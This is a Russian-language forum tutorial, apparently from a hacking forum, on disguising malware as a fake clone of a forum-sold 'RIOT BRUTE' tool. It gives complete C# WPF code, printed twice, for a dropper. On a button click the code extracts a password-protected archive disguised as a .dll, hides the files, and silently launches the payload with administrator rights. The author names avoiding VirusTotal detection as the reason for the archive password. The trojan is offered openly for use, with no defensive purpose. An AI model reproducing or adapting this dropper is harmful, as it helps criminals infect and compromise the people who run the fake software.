Прячем наш Malware под видом фейковой программы

Прячем наш Malware под видом фейковой программы
Научу вас создавать фейковые программы которые скрыто запускают ваш .exe файл. C помощью c# WPF.
Для этого нам понадобится:
Visual Studio 2019, и обычный архиватор.
Перейду сразу к созданию фейкового софта. На примере буду копировать RIOT BRUTE который продаётся у нас на форуме, дизайн лёгкий и поэтому создать копию будет не сложно.
И так приступим. Создаём новый проект: Приложение WPF (.Net Framework)

Даём имя, платформу выбираем .Net Framework 4.5, и нажимаем создать.

Перед нами открылся проект, первым делом нам нужно поменять размер нашего приложения, тут меняем на нужные значения. В моём случае

Дальше меняем фон, добавляем кнопки
Далее добавляем два CheckBox/RadioButton/Label
Уже начинает быть похоже на саму программу, не идеал но сойдёт.
Добавляем ещё несколько Label переименовываем
Почти все готово, нажимаем сборка, собрать решение и смотрим что получилось. У меня вышло такое. Я конечно не дизайнер, но и так сойдёт...
Теперь нам нужно что-бы при нажатии любой кнопки в этой софте, скрыто открывался наш файлик. Для этого переходим сюда
Первым делом нужно добавить дополнительные библиотеки, нажимаем правой кнопкой на наш проект и жмём Управление пакетами Nugat
Открывается такое окно, в поиске пишем SharpZipLib после его установки, устанавливаем Costura.Fody версии 4,1
Далее подготавливаем наш .exe файлик. На примере буду использовать установщик 7zip. Переименовываем наш файл на нужно название я назвал его chiken.exe. Далее добавляем наш файл в архив и с другим типом файла. И обязательно пароль, запоминаем. Я поставил 1234. Получилось вот так. В этом архиве находиться наш файлик, и его не смогут слить на вт, так как он под паролем.
Возвращаемся в VS.Нужно присвоить каждой кнопке click. Нажимаем на кнопку нам покажет код.
. И для каждой кнопки ставить разный Click_Button1 2 3 и так далее.
Переходим после в MainWindow.xaml.cs. И вставляем данный код. Там где exe файл меняем на ваш. там где dll файл меняем на ваш. Комменты везде стоят что нужно где сделать.
​​

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System.Diagnostics;
using System.IO;
using System.Threading;

namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
public MainWindow()
{
InitializeComponent();
}
private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
{
string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
if (!Directory.Exists(dir))
File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив

File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
new Thread(() =>
{
try
{

File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
info.UseShellExecute = true;
info.Verb = "runas";
Process.Start(info);

// эти две строки на ваше усмотрение
//proc.WaitForExit(); //Ждем завершения работы малвари
//File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
}
catch (Exception)
{
}

}).Start();
}

private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
{

{
ZipFile zf = null;
try
{
FileStream fs = File.OpenRead(archiveFilenameIn);
zf = new ZipFile(fs);
if (!String.IsNullOrEmpty(password))
{
zf.Password = password;
}
foreach (ZipEntry zipEntry in zf)
{
if (!zipEntry.IsFile)
{
continue;
}
String entryFileName = zipEntry.Name;

byte[] buffer = new byte[4096];
Stream zipStream = zf.GetInputStream(zipEntry);
String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
if (directoryName.Length > 0)
Directory.CreateDirectory(directoryName);

using (FileStream streamWriter = File.Create(fullZipToPath))
{
StreamUtils.Copy(zipStream, streamWriter, buffer);
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (zf != null)
{
zf.IsStreamOwner = true;
zf.Close();
}
}
}
}

private void Click_Button1(object sender, EventArgs e)
{

}
private void Click_Button2(object sender, EventArgs e)
{

}

private void Click_Button3(object sender, EventArgs e)
{

}
private void Click_Button4(object sender, EventArgs e)
{

}
}
}

Код

Код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System.Diagnostics;
using System.IO;
using System.Threading;

namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
{
    /// <summary>
    /// Логика взаимодействия для MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
        }
        private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
        {
            string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
            if (!Directory.Exists(dir))
                File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
            string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
            ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив

            File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
            new Thread(() =>
            {
                try
                {

                    File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
                    ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
                    info.UseShellExecute = true;
                    info.Verb = "runas";
                    Process.Start(info);

                    // эти две строки на ваше усмотрение
                    //proc.WaitForExit(); //Ждем завершения работы малвари
                    //File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
                }
                catch (Exception)
                {
                }

            }).Start();
        }

        private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
        {

            {
                ZipFile zf = null;
                try
                {
                    FileStream fs = File.OpenRead(archiveFilenameIn);
                    zf = new ZipFile(fs);
                    if (!String.IsNullOrEmpty(password))
                    {
                        zf.Password = password;
                    }
                    foreach (ZipEntry zipEntry in zf)
                    {
                        if (!zipEntry.IsFile)
                        {
                            continue;
                        }
                        String entryFileName = zipEntry.Name;

                        byte[] buffer = new byte[4096];
                        Stream zipStream = zf.GetInputStream(zipEntry);
                        String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
                        string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
                        if (directoryName.Length > 0)
                            Directory.CreateDirectory(directoryName);

                        using (FileStream streamWriter = File.Create(fullZipToPath))
                        {
                            StreamUtils.Copy(zipStream, streamWriter, buffer);
                        }
                    }
                }
                catch (Exception ex)
                {
                    throw ex;
                }
                finally
                {
                    if (zf != null)
                    {
                        zf.IsStreamOwner = true;
                        zf.Close();
                    }
                }
            }
        }

        private void Click_Button1(object sender, EventArgs e)
        {

        }
        private void Click_Button2(object sender, EventArgs e)
        {

        }

        private void Click_Button3(object sender, EventArgs e)
        {

        }
        private void Click_Button4(object sender, EventArgs e)
        {

        }
    }
}


Нажимаем сборка, собрать решение.
Если всё сделали правильно, то при нажатии на кнопку, архив разархивируется скроется, скрыто запустит ваш малварь. Обязательно ваш архив должен быть рядом с созданным вами софтом в одном папке.

Запускаем наш Riot Brute1. При нажатии Добавить прокси, dll удаляется/ либо скрывается. и запускается наш exe.

И вот детект нашего "софтика"

Надеюсь помог данной статьёй. Задавайте вопросы помогу вам.
И сам сурс код, можете запустить посмотреть. Скачать (мега)
​

Комментарии 0

Пока нет комментариев. Начните обсуждение.
Войдите, чтобы оставить комментарий.
Назад
Верх